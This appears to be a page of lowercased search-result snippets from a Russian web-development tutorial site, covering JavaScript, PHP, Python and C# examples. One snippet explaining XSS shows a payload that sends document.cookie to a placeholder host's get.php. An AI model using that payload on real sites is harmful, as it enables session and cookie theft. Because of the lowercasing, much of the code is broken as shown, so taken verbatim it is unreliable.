... url = f'https://api.binance.com/api/v3/klines?symbol={symbol}&interval={interval}&starttime={start_time}&endtime={end_time}' response = requests.get(url) data = response.json() # преобразуйте данные в формат dataframe и сохраните их в csv-файл ...
... * item with round point * and one more item with round point you can connect with us by email: something@smth.com do not forget to visit our website: [click here](http://test.com/) теперь вы получите большой заголовок, ...
... import app from './components/app' reactdom.render(     <app />,     document.getelementbyid('app') ) файл index.html <!doctype html> <html lang="en"> ...
... id="dropzone">перетащите файлы сюда</div> <script>   (function() {    var dropzone = document.getelementbyid("dropzone");    dropzone.ondragover = function() {     this.classname = 'dropzone ...
...   <react.strictmode>     <app />   </react.strictmode>,   document.getelementbyid('root') ); ./src/components/app.js import react from 'react'; ...
... используем. <a href="#" id="link">вызвать уведомление</a> <script>   var link = document.getelementbyid("link");   link.addeventlistener('click', function(e) {    var nf;    e.preventdefault(); ...
... методы для обновления поведения дождя. function rain() {   var image = document.getelementbyid('background');   image.onload = function () {     var rainyday = new rainyday({ ...
...   <p class="mb-0" id="tab-3">vestibulum suscipit urna ultrices velit dictum, vel laoreet lorem tincidunt. donec eget mi gravida est faucibus accumsan.</p> </div> </div> в html-коде мы прописали bootstrap ...
...       try {         const response = await axios.get(           `https://api.openweathermap.org/data/2.5/weather?q=${this.city}&units=metric&appid=ваш_ключ` ...
...   <button onclick="savepixelart()">сохранить</button>   <script> const canvas = document.getelementbyid('canvas'); let isdrawing = false; function createpixel() {   const pixel = document.createelement('div'); ...
... компонент, установив плагин со сниппетами, больше не надо идти на сайт getbootstrap.com, открывать документацию и копировать оттуда код. вы можете нужный ...
... администратора проверяем текущие параметры для политики выполнения: get-executionpolicy -list устанавливаем требуемый уровень (меняем политику выполнения) ...
... записать его в строковую переменную. наиболее простой вариант - это функция file_get_contents(). если контент доступен только авторизованным пользователям, то ...
...    */   function togglesection(sectionid) {     const section = document.getelementbyid(sectionid);     section.style.display = section.style.display === 'none' ? 'block' : 'none'; ...
...    function removepopupbytag(tagname) {      const popups = document.getelementsbytagname(tagname);      if (popups.length > 0) {        for (let i = 0; i < popups.length; i++) { ...
на прошлом уроке мы узнали, что такое utm-метки и настроили get-запросы меток в скрытых полях формы. на этом уроке вы узнаете, как получить данные ...
... описание кода: function showtagonhover(event) {   const hoveredelement = event.target;   const tagname = hoveredelement.tagname.tolowercase();   // создание информационного окна ...
... ip-адрес     $text = "";     while (!feof($sock)) {       $text .= fgets($sock, 256)."<br />"; // читаем ответ от сервера     }     fclose($sock); ...
... пользователя на javascript. сразу привожу код: <script type="text/javascript">   navigator.geolocation.getcurrentposition(showposition); // запрашиваем местоположение, и в случае успеха вызываем ...
... файла (filename отвечает за имя файла, который увидит пользователь)   echo file_get_contents($file); // отдаём файл браузеру ?> код тщательно прокомментирован, ...
... from flask import flask, render_template, request app = flask(__name__) @app.route('/', methods=['get', 'post']) def home():     user_name = "гость"     if request.method == 'post': ...
... } item.foreach(link => {     link.addeventlistener('click', (e)=>{         indicator(e.target);     }) }) посмотрите пример на codepen
... его очень просто. <a href="yandex.ru" id="link">кликни!</a> <script> var link = document.getelementbyid("link"); function myfunc(e) {   events.default(); // отменили стандартное поведение ...
... // устанавливаем порт приложения const port = process.env.port || 5000; app.get('/', async (req, res) => {   res.send({ message: 'привет' }) ...
... дальше пишем скрипт вывода новостей на php: <div id="news"> <?php   $news = file_get_contents("news.txt");   $news = explode("\n", $news);   for ($i = 0; $i < count($news); $i++) {     ...
... like.php, который и занимается увеличением числа лайков: <?php   $text = file_get_contents("likes.ini"); // получаем содержимое файла   $likes = explode("\n", $text); // разбиваем ...
...         // получаем поток с микрофона         const stream = await navigator.mediadevices.getusermedia({ audio: true, video: false });         // создаем объект, который будет отвечать за запись аудио ...
... выполнения ajax-запросов, обычно используют, либо объект xmlhttprequest, либо метод $.get() из jquery, либо еще какую либо javascript библиотеку. но, известно, что прикладной ...
... адрес сервера, куда отправятся данные type - метод запроса. по-умолчанию get datatype - тип данных, которые мы планируем получить от сервера. может быть: ...
... var instance = $("#yourelement").data("vide"); // получить видео элемент заднего фона instance.getvideoobject(); // изменение размера заднего видео // это вызывается автоматически, ...
...     // кодировка файла будет win-1251     queryresultdatagridview.writetocsvfile(';', "export.csv", encoding.getencoding(1251));     dialogresult dialogresult = messagebox.show(         "экспорт завершен! вы хотите открыть файл в редакторе?", ...
... вам различные варианты шрифтов. если вам что-то понравилось, нажимаете get font и попадаете на google fonts. colors & fonts https://www.colorsandfonts.com вдохновляющая ...
... ноль");   }   return 1/$n; } try {   div(3);   div(0); } catch($e) {   echo "ошибка: " + $e->getmessage(); } finally {   echo "работа скрипта завершена"; } у нас есть функция, ...
... среде visual studio, а после установить пакет fluentvalidation через менеджер пакетов nuget. теперь в файл программы program.cs добавим следующий исходный код: using system; ...
... from bs4 import beautifulsoup def scrape_website(url):     response = requests.get(url)     soup = beautifulsoup(response.content, 'html.parser')     # пример извлечения заголовков новостей ...
... посетите официальный веб-сайт epic games по адресу https://www.epicgames.com. найдите ссылку "get epic games" (скачать epic games) и кликните по ней.вы будете перенаправлены на ...
... # установка максимального размера окна browser.maximize_window() # открытие посиковика в браузере browser.get('https://images.google.com/') # находим поисковое окно box = browser.find_element(by.css_selector, 'input[class="glfyf"]') ...
... позаимствуем уже готовый код симпатичной формы в разделе components/forms на сайте https://getbootstrap.com. обратите внимание, где именно в html-коде подключены cdn для bootstrap, ...
... симпатично и делается все очень быстро. установка фреймворка на вкладке get started вы увидите несколько вариантов установки: вариант #1). скачать ...
... виджеты из боковой колонки. сделать это можно в разделе виджетов appearance / widgets или в кастомайзере темы. для магазина это лучший вариант, когда нет ...
...         // добавляем компонент на страницу         reactdom.render(<app />, document.getelementbyid('root'));     </script> </body> </html> ...
... происходит через метод object.assign, который принимает первым параметром target (цель), вторым параметром - исходный объект. при клонировании в фигурных ...
... # засыпание программы на 2 миллисекунды time.sleep(2) # открытие драйвером сайта  driver.get("https://myrusakov.ru/") time.sleep(1) # поиск элементов формы по описанию в html коде ...
... сначала выберем элемент по идентификатору #countdown. let countdown = document.getelementbyid('countdown'); шаг 2 объявим функцию, отвечающую за обратный ...
... неизвестным. что же тогда делать? давайте сразу рассмотрим пример: app.get('/profile/:name', function(req, res) {   var data = {age: 17, job: 'programmer', hobbies: ['programming', ...
... /// это метод возвращает код состояния /// </summary> public statuscode getsensorstatus(); таким образом, вот такие виды комментариев существуют ...
... div.style.height = height;    div.style.width = width;    div.style.border = border;    document.getelementsbytagname ('body') [0] .appendchild (дела);    return div;   } следующий ...
... слайдера swiper к проекту 1) переходим на официальный сайт swiper 2) в разделе get started переходим по ссылочке и скачиваем два минифицированных файла swiper-bundle.min.css ...
... env.trim_blocks = true env.lstrip_blocks = true env.rstrip_blocks = true template = env.get_template('showsites.txt') result = template.render(coins=coins) print(result) далее создаем ...
...                    byte[] info = new utf8encoding(true).getbytes(text);                    // производим запись байтов в файл ...
... его нет и удаляет класс, если он есть. вот и вся магия. const toggle = document.getelementbyid('toggle'); toggle.onclick = function(){     toggle.classlist.toggle('active'); ...
... атрибутам. вывод фильтров на фронтенде переходим в виджеты «appearance / widgets» и перетаскиваем один и тот же доступный виджет «filter products by attribute: ...
... классов bootstrap-а, следует присвоить каждой колонке. переходим на сайт https://getbootstrap.com/ в раздел grid. мы определили у блока div классы "col-lg-3" "col-md-6", где ...
... конечно, в очень упрощенном виде. я сразу приведу код, а дальше его поясню: app.get('/profile/:id', function(req, res) {   res.send('вы запросили профиль с идентификатором: ...
...         }         const rootelement = document.getelementbyid('root');         // читаем вакансии из файла и отображаем в элементе root ...
... рассмотрим все на полезном примере. немного изменим наш код в файле app.js: app.get('/contact', function(req, res) {   res.render('contact', {qs: req.query}); }) здесь мы ...
... контроллеры. давайте напишем один из них – todocontroller.js: module.exports = function(app) {   app.get('/todo', function(req, res) {   });   app.post('/todo', function(req, res) {   }); ...
... инструмента вы создаете графический интерфейс, перетаскивая объекты qwidget в пустую форму. после этого вы можете упорядочить их в единый графический ...
... <footer>    <div class="copy">    © 2017 шаблон <a href="" target="_blank">valli</a>    </div> </footer> css стили footer {    background: ...
... 50%;/*появление окна сверху*/ <script> function popuptoggle(){     const popup = document.getelementbyid('popup');     popup.classlist.toggle('active') } </script> ...
... пример того, что должно получиться: /*!  * bootstrap v5.0.0-beta1 (https://getbootstrap.com/)  * copyright 2011-2020 the bootstrap authors  * copyright 2011-2020 twitter, inc. ...
... viewbox="0 0 250 100" xmlns:xlink="http://www.w3.org/1999/xlink">     <a xlink:href="http://domain.ru/" target="_blank">         <text class="text-link" x="25" y="60">svg текст-ссылка</text> ...
... добавьте эти 2 строки кода: url='https://www.bbc.com/news' response = requests.get(url) шаг 3: получите конкретный html-тег чтобы найти html-теги, в ...
... (testobjone, "х", {value: 0, writeable: false});   testobjone.x = 3,14; // исключение. var testobjtwo = {get x () {return 0}};   testobjtwo.x = 3,14; // исключение. "eval" и "arguments" мы не можем ...
... полезно освоить некоторые элементарные терминальные команды (cd, grep, curl, get, tail, head, less, find, ssh, kill, vim, echo, nslookup, ping, telnet) - в интернете полно спавочников ...
... источника указывает другую картинку. function imgslider(anything){     document.getelementbyid("slider").src = anything; } добавим в html код к каждой ссылке событие onmouseenter. ...
... направляющими как правило равняется 1170 пикселям. скачайте на сайте https://getbootstrap.com/ компилированный css и js для легкой интеграции в ваш проект. скопируйте ...
...         <app />     </browserrouter>,      document.getelementbyid('root') ) затем в компоненте app добавьте элемент switch. ...
... "desktop-wide": 1440px ); @mixin mq($width, $type: min) {   @if map_has_key($breakpoints, $width) {    $width: map_get($breakpoints, $width);    @if $type == max {     $width: $width - 1px;    }    ...
... гамбургер. внутри nav надо добавить строку под логотипом. <a href="#" data-target="mobile-demo" class="sidenav-trigger"><i class="material-icons">menu</i></a> добавление ...
...         // первый аргумент - url, второй - callback c параметром ответа сервера                  https.get(url, (res) => {             // получаем статус ответа сервера посредством деструктуризации объекта ...
...     this.name = name;     this.price = price;     this.tax = tax;    }    get price() {     console.log(`стоимость этого товара с налогом в \$${this.tax}% -\$${this.price ...
... пример "рукопожатия". инициализация рукопожатия от клиента выглядит так: get /chat http/1.1   host: server.example.com   upgrade: websocket   connection: upgrade   sec-websocket-key: ...
... import app from './components/app'; reactdom.render(     <app />,      document.getelementbyid('root') ); ./components/app.js import react from 'react'; ...
... позиция подсказки пока элемент является целью: tip.position(document.queryselector('.target')); изменение типа подсказки и эффекта: tip.type('error').effect('fade'); ...
... webbie_url = r' https://myrusakov.ru/ '  for i in [firefox, chrome, safari]:      i.get(webbie_url)      # здесь  проверки bs4!!      # javascriptexecutor - для визуализации прокрутки  ...
... скрипт: <script src="path/to/shine.min.js"></script> инстциируйте shine.js var shine = new shine(document.getelementbyid('my-shine-object')); измените позицию света window.addeventlistener('mousemove', ...
... есть подробная документация, которую вы можете найти, кликнув по кнопке "getting started". скачайте необходимые скрипты и стили, подключите их. сделайте ...
...     fetch(key) {         let data = localstorage.getitem(this.dbprefix + key);         if(data === null)             return false; ...
...     el.addeventlistener('keyup', e => {       res.textcontent = transliter(e.target.value)     })        </script> </body> </html> ...
...   padding: 0;   height: 0;   overflow: hidden;   transition: height 400ms ease; } .accordion-conent:target {   height: 150px;   padding: 20px;   overflow-y: scroll; } вот так просто мы можем ...
... расширение для chrome) парсеры для социальных сетей церебро таргет huntertarget (есть бесплатный тариф) итоги парсинг сайтов может использоваться ...
...         # открываем страницу по адресу          self.driver.get("https://myrusakov.ru/register.html")         # установка размеров окна ...
... print(link2) try:   # открываем ссылку в браузере   driver.get(link2)   # находим количество строк в таблице   rows = len(driver.find_elements(by=by.xpath, value = '/html/body/table/tbody/tr')) ...
... видео. откройте консоль в браузере и пропишите следующее: var video = document.getelementbyid('bgvideo'); таким образом мы получим объект, у которого есть ...
... происходит после того, как произойдет что-то другое. простой пример: var button = document.getelementbyid('button'); button.onclick = function() {   alert('кто-то кликнул по кнопке'); ...
...              // получаем список всех дисков             driveinfo[] drives = driveinfo.getdrives();             // в цикле проходимся по дискам ...
... артефакты. решить эту проблему для ie просто. .logo {   background: none;   filter: progid:dximagetransform.microsoft.alphaimageloader(src="/path/to/logo.png",sizingmethod="scale"); } т.е. эту проблему нам ...
... html разметка <div>1</div> <div>2</div> <div>3</div> // js let div = document.getelementsbytagname('div');     console.log(div); цикл for..of без проблем ...
... import os print("creating {} folder". format(sys.argv[1])) path = os.path.join(os.getcwd(), sys.argv[1]) os.mkdir(path) print("created {} folder". format(sys.argv[1])) print("creating index.html, style.css, script.js") ...
... скрипт, подключаете на страницу. пишете следующий код: var stickyelements = document.getelementsbyclassname('sticky'); for (var i = stickyelements.length - 1; i >= 0; i--) {   stickyfill.add(stickyelements[i]); ...
... сайте разработчика. у данной библиотеки есть также некоторые опции modaltarget - настройка вашей цели color - определить цвет заднего фона animatedin - переход, ...
...         // получаем текущую рабочую папку откуда запущена программа         var cwd = system.getproperty("user.dir");         var frame = new showimagejavaframe("показываем картинку"); ...
...             using var httpclient = new httpclient();             var response = httpclient.getbytearrayasync(url).result;             return response; ...
... пример. <?php   $week = new datetime('+1 week');   setcookie('user_id', '1', $week->gettimestamp(), '/', null, null, true); ?> в данном примере мы записываем уникальный ...
... #{$i}) ~ img {     left: (($i - 1) * $stepper) * -1;    }    // here we create a variable to get the math right for    // how we shift the image when moving vertically    $t: (($i - 1) * $grid-root) ...
...             // 5 - это размер 1-ого пикселя кода             bitmap qrcodeimage = qrcode.getgraphic(5);             // вставляем изображение в виджет, подгоняя размер qr кода к размеру родительского элемента imagepicturebox ...
... использовать разные методы генерации случайных чисел. windows – cryptgenrandom linux – php getrandom(2) others – /dev/urandom в случае ошибки или отсутствия данных функций, ...
... нужно вернуть литерал объекта, то его нужно обернуть в круглые скобки: let getobject = () => ({ brand: 'bmw' }); самовызывающаяся функция выглядит следующим ...
... /* в этот блок мы попадаем, если было выброшено исключение */   echo $e->getmessage(); // можно вместо этого добавить if и вывести более понятную надпись, ...
... отслеживания лайков вконтакте: <script type="text/javascript">   vk.observer.subscribe('widgets.like.liked', function(param) {     alert("был нажат лайк");   }); </script> для ...
...         curl_exec($ch);         $response = curl_getinfo($ch, curlinfo_http_code);         curl_close($ch);         return (!empty($response) && $response != 404); ...
... должны сначала откуда-то взять, например, из базы данных   $user_panel = file_get_contents("user_panel.tpl");   $user_panel = str_replace("{username}", $username, $user_panel);   echo $user_panel; ...
... style='font-size: "+ size +"pt'>" +text.substring(i, i + 1)+ "</span>";     }     document.getelementbyid("wave").innerhtml = out;   }   function dowave(text, n) {     sizecycle(text, 1, n); ...
... получим наш контейнер по идентификатору и применим к нему метод parallax. let space = document.getelementbyid('space'); let parallaxinstance = new parallax(space);
... 2000; //задержка в миллисекундах   function imagerotator(i) {     var image = document.getelementbyid("rotator");     image.src = array[i];     i++;     if (i == array.length) ...
... и </head>):<script type="text/javascript">   function animatetext(id, text, i) {     document.getelementbyid(id).innerhtml = text.substring(0, i);     i++;     if (i > text.length) i = 0;     ...
... выбрать голос, вы можете просмотреть доступные варианты: voices = engine.getproperty('voices') for index, voice in enumerate(voices):     print(f"голос {index}: {voice.name} ({voice.languages})") ...
... статье. скачать свежую версию filezilla можно по следующему адресу: http://filezilla.ru/get/. выберите filezilla client для вашей ос, скачайте и установите его. теперь ...
... атрибутах. $reflectionclass = new reflectionclass(myclass::class); $attributes = $reflectionclass->getattributes(myattribute::class); foreach ($attributes as $attribute) {     $instance = $attribute->newinstance(); ...
... кнопку. получить поисковый запрос (как правило, передаваемый методом get, но иногда применяют и post), а также, в целях защиты от xss, пропустить его ...
... <head> и </head>):<script type="text/javascript">   function setbigimage(foto) {     document.getelementbyid("bigimg").src = foto.src;   } </script> код html (вставлять между тегами <body> ...
... число, месяц и год рождения. выходные параметры: возраст. <?php   function getage($y, $m, $d) {     if($m > date('m') || $m == date('m') && $d > date('d'))       ...
... вас еще не установлен composer, вы можете скачать его с официального сайта getcomposer.org. откройте терминал и выполните следующую команду для установки ...
...     // в случае ошибки просто возвращаем false     $hds = @get_headers($uri);          // проверка, если нет заголовков, т.е. такого сайта нет например ...
...   // путь куда будет сохраняться архива   $dest = getcwd() . '/' . $archive['name'];   // пытаемся переместить загруженный архив из временной папки в нужную  ...
...         # запускаем процесс загрузки в отдельном потоке         threading.thread(target=self.load_task).start()     def stop_loading(self):         self.is_running = false ...
... delay = 300; //задержка в миллисекундах   function textrotator(i) {     var p = document.getelementbyid("textrotator");     p.innerhtml = array[i];     i++;     if (i == ...
... в директории, к которой вы хотите подключить данные блокировки): <limit get post>   order allow,deny   deny from 15.29.29.12   deny from 13.110.145.   deny from 21.173.   ...
...     // получаем ссылку на тег head документа     let head   = document.getelementsbytagname('head')[0];     // устанавливаем тип и uri ...
...         const mychart = new chart(             document.getelementbyid('mychart'),             config         ); ...
... earn_second = earn_month / (30 * 24 * 3600);     cur_earn += earn_second * delay / 1000;     document.getelementbyid('earn').innerhtml = cur_earn.tofixed(5);   }   function updateearn() {     earn_month ...
... является то, что ссылки раскупают очень быстро, правда, по сниженным ценам. gogetlinks.net. эта биржа особенна тем, что она занимается только вечными ссылками. ...
... платёжной системе (либо платёжного агрегатора). приняв данные (либо post, либо get), вы их анализируете, сверяя контрольную сумму с той, что должна быть. ...
... получить все данные с листа, можно использовать следующий код: data = sheet.get_all_records() print(data) этот метод вернет все строки таблицы в виде списка словарей, ...
... const reader = new filereader(); reader.onload = function(event) {   console.log(event.target.result);  // выводит: привет, мир! }; reader.readastext(textblob); 3. работа ...
... наверх при клике. // получаем кнопку по id const scrolltopbtn = document.getelementbyid("scrolltopbtn"); // добавляем событие на прокрутку окна ...
... import reactdom from 'react-dom'; import app from './components/app'; reactdom.render(<app />, document.getelementbyid("app")) в подпапке components содержатся непосредственно сами ...
... простешийи sql-запрос. если пользователя нет, то вернуть false. */   $usertype = getusertype($login);   /* начинаем выводить контент в зависимости от типа пользователя ...
...     $pdo->rollback();     echo "failed to update data: " . $e->getmessage(); } эти стратегии помогут вам надежно обновлять данные в базе данных ...
... каким-то причинам не установлен, можно сделать это с помощью команды: sudo apt-get install python3-tk простой пример модального окна давайте создадим простое ...
... url = 'https://example.com/weather' # получение данных с сайта response = requests.get(url) soup = beautifulsoup(response.text, 'html.parser') # извлечение нужной информации ...
... пример смена фона у кнопки: <button id="button">try it</button> <script> document.getelementbyid("button").addeventlistener("click", function(){     this.style.backgroundcolor = "black"; }); ...
...                 var block = document.getelementbyid('infinite-scroll');                 var counter = 1; ...
... теперь добавим скрипт, управляющий основными действиями: const video = document.getelementbyid('myvideo'); function playpause() {   if (video.paused) {     video.play(); ...
...     # формируем имя файла     subject = msg.get('subject', 'no_subject').replace('/', '_')     filename = f"{num.decode()}_{subject}.eml" ...
...         // ... и помещаем значение в карту, увеличивая, при необходимости, значение счетчика         valuesmap.set(elem, valuesmap.has(elem) ? valuesmap.get(elem) + 1 :  1);     });     // сортируем полученный массив объектов "{'строка', число}" в порядке убывания частоты присутствия в исходном массиве ...
...             // получаем размеры окна рабочего стола             rectangle bounds = screen.getbounds(point.empty);             // создаем пустое изображения размером с экран устройства ...
... положили в переменную p, весь параграф с идентификатором text_change. p = document.getelementbyid('text_change'); для того, чтобы вывести что-нибудь (числа, строки) ...
...     for result in soup.find_all("a", class_="result__a", limit=max_results):         title = result.get_text()      # заголовок результата         href = result['href']          # ссылка на результат ...
... информацией между разными системами.' soup = beautifulsoup(html, 'html.parser') text_only = soup.get_text() result = f'{text_only}' print(result) какой способ выбрать? re — легче ...
... получение элемента (параграфа) с идентификатором out_num. let out_num = document.getelementbyid('out_num'); объявим вторую переменную p и присвоим ей значение ...
... виде json. для этого отлично подходит библиотека requests: import requests response = requests.get('https://api.example.com/data') data = response.json() # автоматически парсит json print(data) ...
... и вставляет в код сообщения следующую ссылку:   <img src = "http://сайт.com/get.php?cookie=encodeuri(document.cookie)"> пользователю достаточно лишь открыть страницу, ...
... необходимо установить пакет documentformat.openxml. это можно сделать с помощью nuget: install-package documentformat.openxml или через .net cli: dotnet add package documentformat.openxml ...
... ipsum dolor sit amet consectetur adipisicing elit.</p>         <a href="#">get the deal</a>       </div>     </div>   </div> ...
...         assembly assembly = assembly.loadfrom("someassembly.dll");         type type = assembly.gettype("somenamespace.someclass");         dynamic instance = activator.createinstance(type); ...
... # загрузка данных iris = datasets.load_iris() x = iris.data y = iris.target # разделение на обучающие и тестовые данные x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=42) ...
... получили элемент c id="box_out" и присвоили его переменной box_primer let box_primer = document.getelementbyid('box_out'); // запустили цикл for in   for (let x in box){ // внутри парного ...
... спрятать. в противном случае сделать видимым. function barfunction() {   var x = document.getelementbyid("navlinks");   if (x.style.display === "block") {   x.style.display = "none";   } ...
... реализовывал задачу поиска по сайту. и мне нужно было сформировать из get-запроса, полученного из формы, запрос к базе данных, чтобы извлечь оттуда ...
... получит элемент (elem) с id greenbar (зеленая полоска). function move() {   var elem = document.getelementbyid("greenbar"); объявим переменную width, приравненную к числовому значению ...
...     private val _text = mutablelivedata<string>()     val text: livedata<string> get() = _text     init {         _text.value = "hello, world!" ...
... xhttp.open("способ_отправки", "url"); непосредственно посылает на сервер запрос – метод send(). при get запросе тело запроса остается пустым. xhttp.send(); 3) сервер обрабатывает ...
... по названию класса accordion. вторая переменная с названием i. var acc = document.getelementsbyclassname("accordion"); var i; в цикле for, мы перебираем весь массив элементов ...
... между тегами <head> и </head>):<script language="javascript">function expandit(id){  obj = document.getelementbyid(id);  if (obj.style.display=="none") obj.style.display="";  else obj.style.display="none";}</script>код ...
... цифровой лупы: function zoom(event) {     let zoomer = event.currenttarget;     event.offsetx ? (offsetx = event.offsetx) : (offsetx = event.touches[0].pagex); ...
...     # получаем содержимое файла     response = requests.get(url)     # проверяем, успешно ли загружен файл ...
... очень просто: вы создаёте php-файл, в котором с помощью curl отсылаете post- и get-запросы. соответственно, получаете результат и сравниваете его с тем, ...
...     for (int y = 0; y < mybitmap.height; y++)     {         color pixelcolor = mybitmap.getpixel(x, y);         // изменение цвета пикселя ...
... $russian_text = iconv("cp1251", "utf-8", "сайт myrusakov.ru");   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 150, 200, $color, "times.ttf", $russian_text);   //отправляем заголовок с mime-type ...
... // возвращает копию списка с элементами из диапазона  list<string> afewnames = names.getrange(0, 2);  // вставляем новую строку в позицию 2 names.insert(2, "second and a half name");  ...
... <div id="parent_popup">   <div id="popup">     <p style="cursor: pointer;" onclick="document.getelementbyid('parent_popup').style.display='none';">закрыть</p>     <p>текст в окне</p> ...
... займёмся javascript: <script type="text/javascript">   function send() {     var message = document.getelementbyid("message").value;     var name = "гость";     /* здесь блок отправки ...
...     url = "https://jsonplaceholder.typicode.com/posts"     response = requests.get(url)     data = response.json()     # render the template with json data ...
... виде: http://mysite.ru/?ref=abc, либо http://mysite.ru/page.php?n=5&ref=abc. то есть главное, чтобы был get-параметр ref, а значение этого параметра - логин пользователя, который ...
... . "';"); // указываем имя при сохранении в браузере       echo file_get_contents($filename); // отдаём файл пользователю на скачивание     }     ...
...       /* перебираем все полученные файлы */       $str = strip_tags(file_get_contents($files[$i])); // помещаем содержимое файлов в переменную, предварительно ...
... переменную circle. но как нам вытащить оттуда только второй круг? let circle = document.getelementsbytagname('div');     console.log(circle); так и обращаемся к нему ...
... глагол-существительное и используются для выполнения конкретных задач. например: get-process циклы: powershell поддерживает различные виды циклов, такие как for, ...
... только лишь css: html код: <img class="grayscale-image" src="https://avatars.mds.yandex.net/get-pdb/2001933/86554d64-6d18-4c6a-b2c8-2587c956774a/orig" /> код css: /* * у изображения с данным стилем цвет черно-белый  ...
... формы, стала выглядеть так: return {  processform: function() {   getscores();   calculatepercentages();   createcharts();   showresults();  } }; просто читать, ...
...         function handleclick(e) {             alert(e.target.dataset.action)         }         const button = <floatingbutton title="добавить вопрос" onclick={handleclick} data-action="question:add"/> ...
... php. скрипт мониторинга сам по себе очень и очень простой: <?php   if (@get_headers("http://mail.ru")) echo "сайт доступен";   else echo "сайт не доступен"; ?> но ...
... стирает поисковое слово, введенное пользователем. <span class="clear" onclick="document.getelementbyid('searchinput').value = ''"></span> .clear{     position: absolute; ...
... кода дал подсказку, где прячутся нужные нам стили оформления - это файл widget.php. зайдем через админку, в редактор плагинов и заменим у цифер размер, ...
... строку запроса (query string), которую потом можно будет передать на сервер в виде get параметра. итак, для начала определим некоторые вспомогательные функции, ...
... from flask import flask, request, jsonify app = flask(__name__) # обработчик @app.route('/api', methods=['get']) def index():     return "версия api" # пример url api ...
...                 const ctx = canvas.getcontext('2d');                 // очищаем холст ...
... наш любимый function.php вставляем вот такой код. wp_enqueue_style( 'font-awesome', get_template_directory_uri(). '/css/all.css', 'style' ); вывод иконок в меню wordpress ...
...     async with aiohttp.clientsession() as session:         async with session.get(url) as response:             return await response.text() ...
... удаляет класс. если он есть. вот так работает переключатель. const acc = document.getelementsbyclassname("contentbx"); for (i = 0; i < acc.length; i++) {     acc[i].addeventlistener("click", ...
...     // получаем активный лист     $sheet = $spreadsheet->getactivesheet();     // тестовые данные: номер ячейки - строка данных ...
... компилятора typescript в консоли {   "compileroptions": {     "target": "es5",                          ...
... авторизован. key - секретный ключ, который будет находиться в ссылке в виде get-параметра. r - адрес страницы, куда будет совершён переход после авторизации. ...
... ввода по его идентификатору и поместим в переменную input. let input = document.getelementbyid('input'); повесим на инпут обработчик событие addeventlistener, который ...
... или любой другой браузер, который у вас установлен. import webbrowser webbrowser.get('c:/program file/путь/msedge.exe %s').open('https://myrusakov.ru/') открытие ...
...     if request.method == 'post':         uploaded_files = request.files.getlist("file")         for uploaded_file in uploaded_files: ...
... автоматическую смену блоков   $("#switch img").bind("click", function(event) {     setcourse($(event.target).attr("data-number")); // при клике по переключателю выводим соответствующий блок ...
... def wrap_position(position, surface):     x, y = position     w, h = surface.get_size()     return vector2(x % w, y % h) # используя оператор по модулю %, можно убедиться, что позиция никогда не покидает область заданной поверхности. в нашей игре такой поверхностью будет экран. ...
... (последняя строчка кода). <script type="text/javascript">     let bg = document.getelementbyid("header")     window.addeventlistener("scroll", function(){         bg.style.opacity ...
... способ 6: хранение строк во внешних файлах string str = files.readalllines(paths.get("strings.txt")); таким образом, вот так в java можно создавать многострочные ...
... $user->childnodes; // получаем дочерние элементы у узла "user"     $id = $user->getattribute("id"); // получаем значение атрибута "id" у узла "user"     $login = $lp->item(0)->nodevalue; ...
... пакета. для установки на ubuntu, вы можете воспользоваться командой: sudo apt-get install php-pcntl для других систем управления пакетами вы можете использовать ...
...   # полученных данных   wlist = []   sour_text = requests.get(url).text   # объект beautifulsoup, который будет   # пинговать запрошенный url-адрес для получения данных ...
... этот тривиальный php-код: <?php   $link = "http://myrusakov.ru/images/site.jpg";   $file = file_get_contents($link);   file_put_contents("site.jpg", $file); ?> вот такой тривиальный скрипт, ...
... type="text/javascript">   function hotkey(event) {     var id = event.keycode;     document.getelementbyid("key").innerhtml = id;   } </script> и html-код: <body onkeyup="hotkey(event)">   ...
... цвет   imagefilledrectangle($image, 0, 0, 399, 99, $white); // делаем капчу с белым фоном   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", "$number_1 + $number_2"); // пишем текст   header("content-type: ...
...     foreach ($ite as $file) {         $files[] = $ite->getsubpathname(); //получение имени файла     }     return $files; ...
... может выглядеть: <?php   require_once "model.php"; // подключаем модель   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... быть обработка различных форм, относящихся к комментариям */   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
...     'chat_id' => '', // название канала     'text' => 'привет, бот!' ]; $resp = file_get_contents("https://api.telegram.org/bot{$botapitoken}/sendmessage?" . http_build_query($data) ); print $resp; ...
... на нашем сайте. это можно сделать так:     $rss = file_get_contents('https://news.yandex.ru/science.rss');     $rss  = simplexml_load_string($rss); ...
...     echo $files[$i]."<br />"; // выводим все полученные файлы   }   ftp_get($ftp, "local.xml", "new_doc.xml", ftp_binary);   ftp_close($ftp); ?> код хорошо прокомментирован, ...
...         "роберт кийосаки"     ] ]; document.getelementbyid("next-quote").addeventlistener("click", function() {          // выбираем случайную фразу из массива ...
... пакетного менеджера вашей системы. например, для ubuntu это команда: sudo apt-get install openssl шаг 2: создание самоподписанного сертификата создайте ...
... // получаем элемент с id &#039;box&#039; const box = document.getelementbyid(&#039;box&#039;); // добавляем элемент видео в контейнер &#039;box&#039; ...
...             // получаем запрошенный url             let url = new url(event.currenttarget.href);                          // запускаем роутер, предавая ему path ...
...         self.sprite = sprite         self.radius = sprite.get_width() / 2         self.velocity = vector2(velocity)     def draw(self, surface): ...
...     # получаем текущую страницу из параметров запроса, по умолчанию страница 1     page = request.args.get('page', 1, type=int)     # устанавливаем количество элементов на одной странице ...
... // выбираем элемент по идентификатору var container = document.getelementbyid("container"); // находим дочерние элементы var children = container.children; ...
... import requests app = flask(__name__) name1 = [] @app.route('/', methods=['post', 'get']) def handle_data():     if request.method == 'post':         if 'name' in request.form: ...
...     // читаем файл построчно     while ($line = fgets($file)) {         // разбираем строку лога ...
... "http://mysite.ru/dir/" его автоматически перенаправит на "http://mysite.ru/dir". разумеется, все get-параметры сохранятся. например, если пользователь вводил: "http://mysite.ru/dir/?a=5&b=7", ...
...                 const context = canvas.getcontext('2d');                 // вычисляем соотношение сторон исходного изображения ...
...   }         // геттер для длины списка   get length() {     return this.elements.length;   }      // сеттер для длины ...
... // при вводе текста в поле ввода, оповещаем всех наблюдателей о событии input.addeventlistener('keyup', e => {   subject.notify(e.target.value); }); вот так можно использовать шаблон наблюдатель в javascript. ...
